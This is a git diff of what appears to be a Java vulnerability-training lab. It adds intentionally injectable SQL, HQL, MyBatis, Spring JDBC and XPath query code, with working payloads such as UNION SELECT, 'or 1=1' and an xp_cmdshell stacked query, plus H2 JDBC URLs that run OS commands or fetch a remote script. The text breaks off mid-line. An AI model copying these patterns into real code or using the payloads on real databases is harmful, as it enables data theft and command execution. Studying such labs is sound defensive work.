fileOutputStream.getChannel(); fileChannel.write(java.nio.ByteBuffer.wrap(context.getBytes())); @@ -99,12 +110,19 @@ public void write_FileChannel(String filePath, String context) throws Exception } // java.nio.file.Files - public void write_Files(String filePath, String context) throws Exception { + public static void write_Files(String filePath, String context) throws Exception { java.nio.file.Files.write(java.nio.file.Paths.get(filePath), context.getBytes()); } // org.apache.commons.io.FileUtils - public void write_FileUtils(String filePath, String context) throws Exception { + public static void write_FileUtils(String filePath, String context) throws Exception { org.apache.commons.io.FileUtils.writeStringToFile(new File(filePath), context, "UTF-8"); } + + public static void write_DataOut(String filePath, String context) throws Exception { + FileOutputStream fileOutputStream = new FileOutputStream(filePath); + DataOutputStream dataOutputStream = new DataOutputStream(fileOutputStream); + dataOutputStream.writeUTF(context); + + } } diff --git a/SecVulns/VulnCore/Inject/SQL/SecVulns.sql b/SecVulns/VulnCore/Inject/SQL/SecVulns.sql new file mode 100644 index 0000000..d0f73f1 --- /dev/null +++ b/SecVulns/VulnCore/Inject/SQL/SecVulns.sql @@ -0,0 +1,55 @@ +/* + Navicat Premium Data Transfer + + Source Server : 127.0.0.1 + Source Server Type : MySQL + Source Server Version : 80030 (8.0.30) + Source Host : 127.0.0.1:3306 + Source Schema : SecVulns + + Target Server Type : MySQL + Target Server Version : 80030 (8.0.30) + File Encoding : 65001 + + Date: 26/06/2024 15:25:25 +*/ + +SET NAMES utf8mb4; +SET FOREIGN_KEY_CHECKS = 0; + +-- ---------------------------- +-- Table structure for users +-- ---------------------------- +DROP TABLE IF EXISTS `users`; +CREATE TABLE `users` ( + `id` int DEFAULT NULL, + `username` varchar(255) COLLATE utf8mb4_bin DEFAULT NULL, + `password` varchar(255) COLLATE utf8mb4_bin DEFAULT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin; + +-- ---------------------------- +-- Records of users +-- ---------------------------- +BEGIN; +INSERT INTO `users` (`id`, `username`, `password`) VALUES (165827712, 'Whoopsunix', 'Whoopsunixpass'); +INSERT INTO `users` (`id`, `username`, `password`) VALUES (1362349079, 'admin', '123456'); +INSERT INTO `users` (`id`, `username`, `password`) VALUES (1467415847, 'superadmin', '&&*&*ASxxxads'); +COMMIT; + +-- ---------------------------- +-- Table structure for xss +-- ---------------------------- +DROP TABLE IF EXISTS `xss`; +CREATE TABLE `xss` ( + `id` int DEFAULT NULL, + `messgae` varchar(255) COLLATE utf8mb4_bin DEFAULT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin; + +-- ---------------------------- +-- Records of xss +-- ---------------------------- +BEGIN; +INSERT INTO `xss` (`id`, `messgae`) VALUES (1234497866, ''); +COMMIT; + +SET FOREIGN_KEY_CHECKS = 1; diff --git a/SecVulns/VulnCore/Inject/SQL/pom.xml b/SecVulns/VulnCore/Inject/SQL/pom.xml new file mode 100644 index 0000000..f9c3171 --- /dev/null +++ b/SecVulns/VulnCore/Inject/SQL/pom.xml @@ -0,0 +1,66 @@ + + 4.0.0 + + com.ppp + SQL + 1.0 + jar + + SQL + + + UTF-8 + + + + + mysql + mysql-connector-java + 8.0.32 + + + org.mybatis + mybatis + 3.5.11 + + + com.alibaba + druid + 1.1.0 + + + org.springframework + spring-jdbc + 4.3.9.RELEASE + + + com.microsoft.sqlserver + mssql-jdbc + 9.2.1.jre8 + + + org.apache.derby + derby + 10.10.1.1 + + + org.hibernate + hibernate-core + 5.5.6.Final + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + + 8 + 8 + + + + + diff --git a/SecVulns/VulnCore/Inject/SQL/src/main/java/com/ppp/Mssql.java b/SecVulns/VulnCore/Inject/SQL/src/main/java/com/ppp/Mssql.java new file mode 100644 index 0000000..934e286 --- /dev/null +++ b/SecVulns/VulnCore/Inject/SQL/src/main/java/com/ppp/Mssql.java @@ -0,0 +1,37 @@ +package com.ppp; + +import java.sql.Connection; +import java.sql.DriverManager; +import java.sql.ResultSet; +import java.sql.Statement; +import java.util.ArrayList; +import java.util.List; + +/** + * @author Whoopsunix + */ +public class Mssql { + public static void main(String[] args) throws Exception { +// System.out.println(select(null, "admin", "123456")); +// System.out.println(select(null, "1' union select * from users--", "123456")); + System.out.println(select(null, "';DECLARE @bjxl VARCHAR(8000);SET @bjxl=0x6970636f6e666967;EXEC master..xp_cmdshell @bjxl--", "123456")); + } + + public static List select(Integer id, String username, String password) throws Exception { + Connection connection = DriverManager.getConnection(SQLInfo.MSSQLDBURL, SQLInfo.MSSQLUSER, SQLInfo.MSSQLPASSWORD); + Statement statement = connection.createStatement(); + + String sql = "SELECT * FROM users where username = '" + username + "' and password = '" + password + "';"; + ResultSet resultSet = statement.executeQuery(sql); + + List result = new ArrayList(); + while (resultSet.next()) { + result.add(new Users(resultSet.getInt("id"), resultSet.getString("username"), resultSet.getString("password"))); + } + + if (resultSet != null) resultSet.close(); + if (statement != null) statement.close(); + if (connection != null) connection.close(); + return result; + } +} diff --git a/SecVulns/VulnCore/Inject/SQL/src/main/java/com/ppp/SQLInfo.java b/SecVulns/VulnCore/Inject/SQL/src/main/java/com/ppp/SQLInfo.java new file mode 100644 index 0000000..dd170d6 --- /dev/null +++ b/SecVulns/VulnCore/Inject/SQL/src/main/java/com/ppp/SQLInfo.java @@ -0,0 +1,21 @@ +package com.ppp; + +/** + * @author Whoopsunix + */ +public class SQLInfo { + /** + * Mysql + */ + public static final String MYSQLJDBCDRIVER = "com.mysql.cj.jdbc.Driver"; + public static final String DBURL = "jdbc:mysql://127.0.0.1:3306/SecVulns?serverTimezone=UTC&useUnicode=true&characterEncoding=UTF-8"; + public static final String USER = "root"; + public static final String PASS = "123456"; + + /** + * MSSQL + */ + public static final String MSSQLDBURL = "jdbc:sqlserver://192.168.66.175:1433;databaseName=Secvulns"; + public static final String MSSQLUSER = "sa"; + public static final String MSSQLPASSWORD = "Passw0rd"; +} diff --git a/SecVulns/VulnCore/Inject/SQL/src/main/java/com/ppp/Users.java b/SecVulns/VulnCore/Inject/SQL/src/main/java/com/ppp/Users.java new file mode 100644 index 0000000..a356d34 --- /dev/null +++ b/SecVulns/VulnCore/Inject/SQL/src/main/java/com/ppp/Users.java @@ -0,0 +1,62 @@ +package com.ppp; + +import javax.persistence.Column; +import javax.persistence.Entity; +import javax.persistence.Id; +import javax.persistence.Table; + +/** + * @author Whoopsunix + */ +@Entity +@Table(name = "users") +public class Users { + @Id + private Integer id; + @Column + private String username; + @Column + private String password; + + public Users() { + } + + public Users(Integer id, String username, String password) { + this.id = id; + this.username = username; + this.password = password; + } + + public Integer getId() { + return id; + } + + public void setId(Integer id) { + this.id = id; + } + + public String getUsername() { + return username; + } + + public void setUsername(String username) { + this.username = username; + } + + public String getPassword() { + return password; + } + + public void setPassword(String password) { + this.password = password; + } + + @Override + public String toString() { + return "Users{" + + "id=" + id + + ", username='" + username + '\'' + + ", password='" + password + '\'' + + '}'; + } +} diff --git a/SecVulns/VulnCore/Inject/SQL/src/main/java/com/ppp/mybatis/Mybatis.java b/SecVulns/VulnCore/Inject/SQL/src/main/java/com/ppp/mybatis/Mybatis.java new file mode 100644 index 0000000..6fc3017 --- /dev/null +++ b/SecVulns/VulnCore/Inject/SQL/src/main/java/com/ppp/mybatis/Mybatis.java @@ -0,0 +1,92 @@ +package com.ppp.mybatis; + + +import com.ppp.Users; +import com.ppp.mybatis.dao.UserDao; +import org.apache.ibatis.io.Resources; +import org.apache.ibatis.session.SqlSession; +import org.apache.ibatis.session.SqlSessionFactory; +import org.apache.ibatis.session.SqlSessionFactoryBuilder; + +import java.io.Reader; +import java.util.List; + +/** + * @author Whoopsunix + */ +public class Mybatis { + + Reader reader; + SqlSessionFactory sqlSessionFactory; + SqlSession session; + UserDao userDao; + + public Mybatis() { + try { + reader = Resources.getResourceAsReader("mybatis-config.xml"); + sqlSessionFactory = new SqlSessionFactoryBuilder().build(reader); + session = sqlSessionFactory.openSession(); + userDao = session.getMapper(UserDao.class); + } catch (Exception e) { + + } + + } + + public static void main(String[] args) throws Exception { +// vul(); + + Mybatis mybatis = new Mybatis(); + Users users = new Users(); +// users.setUsername("test"); + users.setUsername("xxx' union select * from users#"); + users.setPassword("testpass"); + System.out.println(mybatis.userDao.getUserByNameVul(users)); + + } + + public static void vul() { + Mybatis mybatis = new Mybatis(); + // 预编译 +// System.out.println(mybatis.getAllUsers()); +// System.out.println(mybatis.getUserById(165827712)); +// System.out.println(mybatis.getUserByName("test")); + + + Users users = new Users(); +// users.setUsername("test"); + users.setUsername("xxx' union select * from users#"); + System.out.println(mybatis.userDao.getUserByNameVul(users)); + } + + + public List getAllUsers() { + List userList = userDao.getAllUsers(); + return userList; + } + + public Users getUserById(int id) { + Users users = userDao.getUserById(id); + return users; + } + + public Users getUserByName(String name) { + Users users = userDao.getUserByName(name); + return users; + } + + public List getUserByNameVul(String name) { + Users users = new Users(); +// users.setUsername("test"); + users.setUsername(name); + return userDao.getUserByNameVul(users); + } + + public List getUserByNameVul2(String name, String password) { + Users users = new Users(); + users.setUsername(name); + users.setPassword(password); + return userDao.getUserByNameVul(users); + } + +} diff --git a/SecVulns/VulnCore/Inject/SQL/src/main/java/com/ppp/mybatis/dao/UserDao.java b/SecVulns/VulnCore/Inject/SQL/src/main/java/com/ppp/mybatis/dao/UserDao.java new file mode 100644 index 0000000..607f7e4 --- /dev/null +++ b/SecVulns/VulnCore/Inject/SQL/src/main/java/com/ppp/mybatis/dao/UserDao.java @@ -0,0 +1,26 @@ +package com.ppp.mybatis.dao; + + +import com.ppp.Users; + +import java.util.List; + +public interface UserDao { + + Users getUserById(int id); + + Users getUserByName(String name); + + List getUserByNameVul(Users name); + + /** + * 混用 + * + * @param name + * @return + */ + + List getUserByNameVul2(Users name); + + List getAllUsers(); +} diff --git a/SecVulns/VulnCore/Inject/SQL/src/main/java/com/ppp/mysql/AliDruidInject.java b/SecVulns/VulnCore/Inject/SQL/src/main/java/com/ppp/mysql/AliDruidInject.java new file mode 100644 index 0000000..45afe0e --- /dev/null +++ b/SecVulns/VulnCore/Inject/SQL/src/main/java/com/ppp/mysql/AliDruidInject.java @@ -0,0 +1,79 @@ +package com.ppp.mysql; + +import com.alibaba.druid.pool.DruidDataSource; +import com.alibaba.druid.pool.DruidPooledConnection; +import com.ppp.SQLInfo; +import com.ppp.Users; + +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.util.ArrayList; +import java.util.List; + +/** + * @author Whoopsunix + */ +public class AliDruidInject { + public static void main(String[] args) throws Exception { + List result; + +// result = select(1, "xxx' union select * from users#", "123"); + result = select2(1, "admin", "xxx'and(substr(username,3,1)='a')and'efdx'like'efdx"); + System.out.println(result); + } + + public static DruidDataSource createDruidDataSource() { + // 创建 DruidDataSource 对象 + DruidDataSource dataSource = new DruidDataSource(); + dataSource.setUrl(SQLInfo.DBURL); + dataSource.setUsername(SQLInfo.USER); + dataSource.setPassword(SQLInfo.PASS); + return dataSource; + } + + /** + * 错误的预编译写法 + */ + public static List select(Integer id, String username, String password) throws Exception { + DruidDataSource dataSource = createDruidDataSource(); + DruidPooledConnection connection = dataSource.getConnection(); + + String sql = String.format("select * from users where `username`='%s' and `password`='%s';", username, password); +// PreparedStatement preparedStatement = connection.prepareStatement(sql, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + PreparedStatement preparedStatement = connection.prepareStatement(sql); + + System.out.println(sql); + ResultSet resultSet = preparedStatement.executeQuery(sql); + List result = new ArrayList(); + while (resultSet.next()) { + result.add(new Users(resultSet.getInt("id"), resultSet.getString("username"), resultSet.getString("password"))); + } + + preparedStatement.close(); + connection.close(); + return result; + } + + /** + * 错误的预编译写法2 + */ + public static List select2(Integer id, String username, String password) throws Exception { + DruidDataSource dataSource = createDruidDataSource(); + DruidPooledConnection connection = dataSource.getConnection(); + + String sql = String.format("select * from users where `username`='%s' and `password` like '%s';", username, password); +// PreparedStatement preparedStatement = connection.prepareStatement(sql, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + PreparedStatement preparedStatement = connection.prepareStatement(sql); + + System.out.println(sql); + ResultSet resultSet = preparedStatement.executeQuery(sql); + List result = new ArrayList(); + while (resultSet.next()) { + result.add(new Users(resultSet.getInt("id"), resultSet.getString("username"), resultSet.getString("password"))); + } + + preparedStatement.close(); + connection.close(); + return result; + } +} diff --git a/SecVulns/VulnCore/Inject/SQL/src/main/java/com/ppp/mysql/HQLInject.java b/SecVulns/VulnCore/Inject/SQL/src/main/java/com/ppp/mysql/HQLInject.java new file mode 100644 index 0000000..c9bafb9 --- /dev/null +++ b/SecVulns/VulnCore/Inject/SQL/src/main/java/com/ppp/mysql/HQLInject.java @@ -0,0 +1,62 @@ +package com.ppp.mysql; + +import com.ppp.Users; +import org.hibernate.Session; +import org.hibernate.SessionFactory; +import org.hibernate.Transaction; +import org.hibernate.cfg.Configuration; +import org.hibernate.query.NativeQuery; + +import java.util.ArrayList; +import java.util.List; + +/** + * @author Whoopsunix + */ +public class HQLInject { + public static void main(String[] args) throws Exception { + List result; + boolean re; + +// result = select(1, null, null); + result = select(1, "xxx' union select * from users#", "123"); + System.out.println(result); + + } + + public static List select(Integer id, String username, String password) throws Exception { + //Hibernate 加载核心配置文件(有数据库连接信息) + Configuration configuration = new Configuration().configure(); + //创建一个 SessionFactory 用来获取 Session 连接对象 + SessionFactory sessionFactory = configuration.buildSessionFactory(); + //获取session 连接对象 + Session session = sessionFactory.openSession(); + //开始事务 + Transaction transaction = session.beginTransaction(); + + String sql = null; + if (username != null && password != null) { + sql = String.format("select * from users where `username`='%s' and `password`='%s';", username, password); + } else { + return null; + } + + NativeQuery sqlQuery = session.createSQLQuery(sql); + sqlQuery.addEntity(Users.class); + + List users = new ArrayList(); + + List rows = sqlQuery.list(); + if (rows.size() > 0) { + for (Users o : rows) { + users.add(new Users(o.getId(), o.getUsername(), o.getPassword())); + } + //提交事务 + transaction.commit(); + //释放资源 + session.close(); + sessionFactory.close(); + } + return users; + } +} diff --git a/SecVulns/VulnCore/Inject/SQL/src/main/java/com/ppp/mysql/MysqlInject.java b/SecVulns/VulnCore/Inject/SQL/src/main/java/com/ppp/mysql/MysqlInject.java new file mode 100644 index 0000000..3f95b1d --- /dev/null +++ b/SecVulns/VulnCore/Inject/SQL/src/main/java/com/ppp/mysql/MysqlInject.java @@ -0,0 +1,127 @@ +package com.ppp.mysql; + + + +import com.ppp.SQLInfo; +import com.ppp.Users; + +import java.sql.*; +import java.util.ArrayList; +import java.util.List; +import java.util.Random; + +/** + * @author Whoopsunix + */ +public class MysqlInject { + + public static void main(String[] args) throws Exception { + List result; + boolean re; + + result = select2(1, "xxx' union select * from users#", "123"); + System.out.println(result); +// result = select(1, "xxx' union select * from users#", "123"); +// System.out.println(result); +// +// re = insert("inject", "123456"); +// System.out.println(re); +// +// re = update("inject", "xxxx"); +// System.out.println(re); +// +// re = delete("inject", "xxxx"); +// System.out.println(re); + } + + public static Connection createConnection() throws Exception { + Class.forName(SQLInfo.MYSQLJDBCDRIVER); + Connection connection = DriverManager.getConnection(SQLInfo.DBURL, SQLInfo.USER, SQLInfo.PASS); + return connection; + } + + /** + * 拼接导致的注入 + */ + public static List select(Integer id, String username, String password) throws Exception { + Connection connection = createConnection(); + Statement statement = connection.createStatement(); + + String sql = null; + +// if (id != null) { +// sql = String.format("select * from users where `id`=%d;", id); +// } else + if (username != null && password != null) { + sql = String.format("select * from users where `username`='%s' and `password`='%s';", username, password); + } else { + return null; + } + System.out.println(sql); + ResultSet resultSet = statement.executeQuery(sql); + List result = new ArrayList(); + while (resultSet.next()) { + result.add(new Users(resultSet.getInt("id"), resultSet.getString("username"), resultSet.getString("password"))); + } + + statement.close(); + connection.close(); + return result; + } + + /** + * 错误的预编译写法 + */ + public static List select2(Integer id, String username, String password) throws Exception { + Connection connection = createConnection(); + PreparedStatement preparedStatement = connection.prepareStatement(String.format("select * from users where `username`='%s' and `password`='%s';", username, password)); + ResultSet resultSet = preparedStatement.executeQuery(); + + List result = new ArrayList(); + while (resultSet.next()) { + result.add(new Users(resultSet.getInt("id"), resultSet.getString("username"), resultSet.getString("password"))); + } + + preparedStatement.close(); + connection.close(); + return result; + } + + public static boolean insert(String username, String password) throws Exception { + Connection connection = createConnection(); + Statement statement = connection.createStatement(); + String sql = String.format("insert into users(id, username, password) values(%d, '%s', '%s');", new Random().nextInt(Integer.MAX_VALUE - 1), username, password); + System.out.println(sql); + statement.execute(sql); + statement.close(); + connection.close(); + + return true; + } + + public static boolean update(String username, String password) throws Exception { + Connection connection = createConnection(); + Statement statement = connection.createStatement(); + + String sql = String.format("update users set password='%s' where username='%s';", password, username); + System.out.println(sql); + statement.execute(sql); + statement.close(); + connection.close(); + + return true; + } + + public static boolean delete(String username, String password) throws Exception { + Connection connection = createConnection(); + Statement statement = connection.createStatement(); + + String sql = String.format("delete from users where username='%s' and password='%s';", username, password); + System.out.println(sql); + statement.execute(sql); + statement.close(); + connection.close(); + + return true; + } +} diff --git a/SecVulns/VulnCore/Inject/SQL/src/main/java/com/ppp/mysql/SpringJDBCInject.java b/SecVulns/VulnCore/Inject/SQL/src/main/java/com/ppp/mysql/SpringJDBCInject.java new file mode 100644 index 0000000..518dcd9 --- /dev/null +++ b/SecVulns/VulnCore/Inject/SQL/src/main/java/com/ppp/mysql/SpringJDBCInject.java @@ -0,0 +1,130 @@ +package com.ppp.mysql; + + +import com.ppp.SQLInfo; +import com.ppp.Users; +import org.springframework.jdbc.core.JdbcTemplate; +import org.springframework.jdbc.core.PreparedStatementCreator; +import org.springframework.jdbc.core.PreparedStatementSetter; +import org.springframework.jdbc.core.ResultSetExtractor; +import org.springframework.jdbc.datasource.DriverManagerDataSource; + +import java.sql.Connection; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.util.ArrayList; +import java.util.List; + +/** + * @author Whoopsunix + */ +public class SpringJDBCInject { + private static JdbcTemplate jdbcTemplate; + + public static void main(String[] args) { +// List result = select3(1, "xxx' union select * from users#", "123"); + List result = select(1, "xxx' union select 1,2,user()#", "123"); + System.out.println(result); + } + + public static void createJdbcTemplate() { + DriverManagerDataSource dataSource = new DriverManagerDataSource(); + dataSource.setDriverClassName(SQLInfo.MYSQLJDBCDRIVER); + dataSource.setUrl(SQLInfo.DBURL); + dataSource.setUsername(SQLInfo.USER); + dataSource.setPassword(SQLInfo.PASS); + + // 创建 JdbcTemplate 对象 + jdbcTemplate = new JdbcTemplate(dataSource); + } + + /** + * 拼接导致的注入 + */ + public static List select(Integer id, String username, String password) { + createJdbcTemplate(); + String sql = String.format("select * from users where `username`='%s' and `password`='%s';", username, password); + + // 使用匿名类实现 ResultSetExtractor + return jdbcTemplate.query(sql, resultSet -> { + List result = new ArrayList(); + while (resultSet.next()) { + result.add(new Users(resultSet.getInt("id"), resultSet.getString("username"), resultSet.getString("password"))); + } + return result; + }); + } + + /** + * 错误的预编译写法 + */ + public static List select2(Integer id, String username, String password) { + createJdbcTemplate(); + + String sql = String.format("select * from users where `username`='%s' and `password`='%s';", username, password); + + PreparedStatementCreator psc = new PreparedStatementCreator() { + @Override + public PreparedStatement createPreparedStatement(Connection con) throws SQLException { + return con.prepareStatement(sql); + } + }; + + PreparedStatementSetter pss = new PreparedStatementSetter() { + @Override + public void setValues(PreparedStatement ps) throws SQLException { +// ps.setString(1, department); + } + }; + + ResultSetExtractor> rse = new ResultSetExtractor>() { + @Override + public List extractData(ResultSet resultSet) throws SQLException { + List result = new ArrayList(); + while (resultSet.next()) { + result.add(new Users(resultSet.getInt("id"), resultSet.getString("username"), resultSet.getString("password"))); + } + return result; + } + }; + + return jdbcTemplate.query(psc, pss, rse); + } + + /** + * 错误的预编译写法2 + */ + public static List select3(Integer id, String username, String password) { + createJdbcTemplate(); + + String sql = String.format("select * from users where `username`like '%s';", username); + + PreparedStatementCreator psc = new PreparedStatementCreator() { + @Override + public PreparedStatement createPreparedStatement(Connection con) throws SQLException { + return con.prepareStatement(sql); + } + }; + + PreparedStatementSetter pss = new PreparedStatementSetter() { + @Override + public void setValues(PreparedStatement ps) throws SQLException { +// ps.setString(1, department); + } + }; + + ResultSetExtractor> rse = new ResultSetExtractor>() { + @Override + public List extractData(ResultSet resultSet) throws SQLException { + List result = new ArrayList(); + while (resultSet.next()) { + result.add(new Users(resultSet.getInt("id"), resultSet.getString("username"), resultSet.getString("password"))); + } + return result; + } + }; + + return jdbcTemplate.query(psc, pss, rse); + } +} diff --git a/SecVulns/VulnCore/Inject/SQL/src/main/resources/hibernate.cfg.xml b/SecVulns/VulnCore/Inject/SQL/src/main/resources/hibernate.cfg.xml new file mode 100644 index 0000000..6953f22 --- /dev/null +++ b/SecVulns/VulnCore/Inject/SQL/src/main/resources/hibernate.cfg.xml @@ -0,0 +1,16 @@ + + + + org.hibernate.dialect.MySQL5Dialect + com.mysql.jdbc.Driver + jdbc:mysql://127.0.0.1:3306/SecVulns + root + 123456 + update + true + 50 + + + \ No newline at end of file diff --git a/SecVulns/VulnCore/Inject/SQL/src/main/resources/jdbc.properties b/SecVulns/VulnCore/Inject/SQL/src/main/resources/jdbc.properties new file mode 100644 index 0000000..4ad76f0 --- /dev/null +++ b/SecVulns/VulnCore/Inject/SQL/src/main/resources/jdbc.properties @@ -0,0 +1,5 @@ +sql.type=mysql +jdbc.driver=com.mysql.jdbc.Driver +jdbc.url=jdbc:mysql://127.0.0.1:3306/SecVulns?useUnicode=true&characterEncoding=utf-8 +jdbc.username=root +jdbc.password=123456 diff --git a/SecVulns/VulnCore/Inject/SQL/src/main/resources/mapper/UserDaoMapper.xml b/SecVulns/VulnCore/Inject/SQL/src/main/resources/mapper/UserDaoMapper.xml new file mode 100644 index 0000000..d3c2749 --- /dev/null +++ b/SecVulns/VulnCore/Inject/SQL/src/main/resources/mapper/UserDaoMapper.xml @@ -0,0 +1,48 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/SecVulns/VulnCore/Inject/SQL/src/main/resources/mybatis-config.xml b/SecVulns/VulnCore/Inject/SQL/src/main/resources/mybatis-config.xml new file mode 100644 index 0000000..3be5484 --- /dev/null +++ b/SecVulns/VulnCore/Inject/SQL/src/main/resources/mybatis-config.xml @@ -0,0 +1,21 @@ + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/JNDIAttack/pom.xml b/SecVulns/VulnCore/Inject/XPath/pom.xml similarity index 65% rename from JNDIAttack/pom.xml rename to SecVulns/VulnCore/Inject/XPath/pom.xml index 4d5a661..ef27058 100644 --- a/JNDIAttack/pom.xml +++ b/SecVulns/VulnCore/Inject/XPath/pom.xml @@ -2,13 +2,12 @@ xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> 4.0.0 - org.example - JNDIAttack - 1.0-SNAPSHOT - + com.ppp + XPath + 1.0 jar - JNDIAttack + XPath UTF-8 @@ -16,18 +15,18 @@ - commons-collections - commons-collections - 3.1 - + dom4j + dom4j + 1.6.1 - org.apache.commons - commons-collections4 - 4.0 + jaxen + jaxen + 1.1.1 + @@ -40,4 +39,5 @@ + diff --git a/SecVulns/VulnCore/Inject/XPath/src/main/java/com/ppp/Users.java b/SecVulns/VulnCore/Inject/XPath/src/main/java/com/ppp/Users.java new file mode 100644 index 0000000..3f2edc0 --- /dev/null +++ b/SecVulns/VulnCore/Inject/XPath/src/main/java/com/ppp/Users.java @@ -0,0 +1,55 @@ +package com.ppp; + +/** + * @author Whoopsunix + */ +public class Users { + + private Integer id; + + private String username; + + private String password; + + public Users() { + } + + public Users(Integer id, String username, String password) { + this.id = id; + this.username = username; + this.password = password; + } + + public Integer getId() { + return id; + } + + public void setId(Integer id) { + this.id = id; + } + + public String getUsername() { + return username; + } + + public void setUsername(String username) { + this.username = username; + } + + public String getPassword() { + return password; + } + + public void setPassword(String password) { + this.password = password; + } + + @Override + public String toString() { + return "Users{" + + "id=" + id + + ", username='" + username + '\'' + + ", password='" + password + '\'' + + '}'; + } +} diff --git a/SecVulns/VulnCore/Inject/XPath/src/main/java/com/ppp/XPathInject.java b/SecVulns/VulnCore/Inject/XPath/src/main/java/com/ppp/XPathInject.java new file mode 100644 index 0000000..936d857 --- /dev/null +++ b/SecVulns/VulnCore/Inject/XPath/src/main/java/com/ppp/XPathInject.java @@ -0,0 +1,49 @@ +package com.ppp; + +import org.dom4j.Document; +import org.dom4j.Node; +import org.dom4j.io.SAXReader; + +import java.io.FileInputStream; +import java.util.ArrayList; +import java.util.List; + +/** + * @author Whoopsunix + */ +public class XPathInject { + public static void main(String[] args) throws Exception{ +// List result = select("admin", "123456"); +// System.out.println(result); + List result = select(1, "' or 1=1 or '", "pass"); + System.out.println(result); + } + + public static List select(Integer id, String username, String password) throws Exception{ + //从本地读取xml文件并解析为dom节点 + SAXReader saxReader = new SAXReader(); + String realPath = Thread.currentThread().getContextClassLoader().getResource("xpath.xml").getPath(); +// System.out.println(realPath); + + FileInputStream fileInputStream = new FileInputStream(realPath); + Document doc = saxReader.read(fileInputStream); + + String xpath = "/root/users/user[username='" + username + "' and password='" + password + "']"; + System.out.println(xpath); + + List result = new ArrayList(); + + List selectNodes = doc.selectNodes(xpath); + if (!selectNodes.isEmpty()) { + // 用户存在,输出相关信息 + for (Node userNode : selectNodes) { + result.add(new Users(new Integer(userNode.selectSingleNode("id").getText()), userNode.selectSingleNode("username").getText(), userNode.selectSingleNode("password").getText())); + +// System.out.println("Username: " + userNode.selectSingleNode("username").getText()); +// System.out.println("Password: " + userNode.selectSingleNode("password").getText()); + // 添加其他属性输出... + } + } + return result; + } +} diff --git a/SecVulns/VulnCore/Inject/XPath/src/main/resources/xpath.xml b/SecVulns/VulnCore/Inject/XPath/src/main/resources/xpath.xml new file mode 100644 index 0000000..cd19ee2 --- /dev/null +++ b/SecVulns/VulnCore/Inject/XPath/src/main/resources/xpath.xml @@ -0,0 +1,25 @@ + + + + + 1 + admin + 123456 + + + 2 + Whoopsunix + Whoopsunixpass + + + 3 + superadmin + 8998xxxads + + + 4 + test' + pass + + + diff --git a/SecVulns/VulnCore/Inject/pom.xml b/SecVulns/VulnCore/Inject/pom.xml new file mode 100644 index 0000000..2d4147b --- /dev/null +++ b/SecVulns/VulnCore/Inject/pom.xml @@ -0,0 +1,33 @@ + + 4.0.0 + + com.ppp + Inject + 1.0 + pom + + Inject + + + SQL + XPath + + + + UTF-8 + + + + + com.ppp + SQL + 1.0 + + + com.ppp + XPath + 1.0 + + + diff --git a/JDBCAttack/pom.xml b/SecVulns/VulnCore/JDBCAttack/pom.xml similarity index 91% rename from JDBCAttack/pom.xml rename to SecVulns/VulnCore/JDBCAttack/pom.xml index 0a23aa7..d3d0c3d 100644 --- a/JDBCAttack/pom.xml +++ b/SecVulns/VulnCore/JDBCAttack/pom.xml @@ -2,9 +2,9 @@ xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> 4.0.0 - org.example + com.ppp JDBCAttack - 1.0-SNAPSHOT + 1.0 jar JDBCAttack @@ -43,7 +43,7 @@ mysql mysql-connector-java - 5.1.49 + 5.1.46 @@ -84,6 +84,12 @@ 17.20.00.12 + + org.codehaus.groovy + groovy-all + 2.4.9 + + diff --git a/JDBCAttack/src/main/java/dameng/JNDI.java b/SecVulns/VulnCore/JDBCAttack/src/main/java/dameng/JNDI.java similarity index 100% rename from JDBCAttack/src/main/java/dameng/JNDI.java rename to SecVulns/VulnCore/JDBCAttack/src/main/java/dameng/JNDI.java diff --git a/JDBCAttack/src/main/java/derby/EvilSlaveServer.java b/SecVulns/VulnCore/JDBCAttack/src/main/java/derby/EvilSlaveServer.java similarity index 100% rename from JDBCAttack/src/main/java/derby/EvilSlaveServer.java rename to SecVulns/VulnCore/JDBCAttack/src/main/java/derby/EvilSlaveServer.java diff --git a/JDBCAttack/src/main/java/derby/SerializeAttack.java b/SecVulns/VulnCore/JDBCAttack/src/main/java/derby/SerializeAttack.java similarity index 100% rename from JDBCAttack/src/main/java/derby/SerializeAttack.java rename to SecVulns/VulnCore/JDBCAttack/src/main/java/derby/SerializeAttack.java diff --git a/JDBCAttack/src/main/java/h2database/Groovy.java b/SecVulns/VulnCore/JDBCAttack/src/main/java/h2database/Groovy.java similarity index 100% rename from JDBCAttack/src/main/java/h2database/Groovy.java rename to SecVulns/VulnCore/JDBCAttack/src/main/java/h2database/Groovy.java diff --git a/SecVulns/VulnCore/JDBCAttack/src/main/java/h2database/H2Attack.java b/SecVulns/VulnCore/JDBCAttack/src/main/java/h2database/H2Attack.java new file mode 100644 index 0000000..068e98d --- /dev/null +++ b/SecVulns/VulnCore/JDBCAttack/src/main/java/h2database/H2Attack.java @@ -0,0 +1,26 @@ +package h2database; + +import java.sql.Connection; +import java.sql.DriverManager; + +/** + * @author Whoopsunix + */ +public class H2Attack { + public static void main(String[] args) throws Exception { + String groovy = "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;init=CREATE ALIAS T5 AS '@groovy.transform.ASTTest(value={ assert java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")})def x'"; + + String offline = "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS if not exists EXEC AS 'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('open -a calculator.app')\\;"; + + String RunScript = "jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:1234/poc.sql'"; + + String TriggerJS = 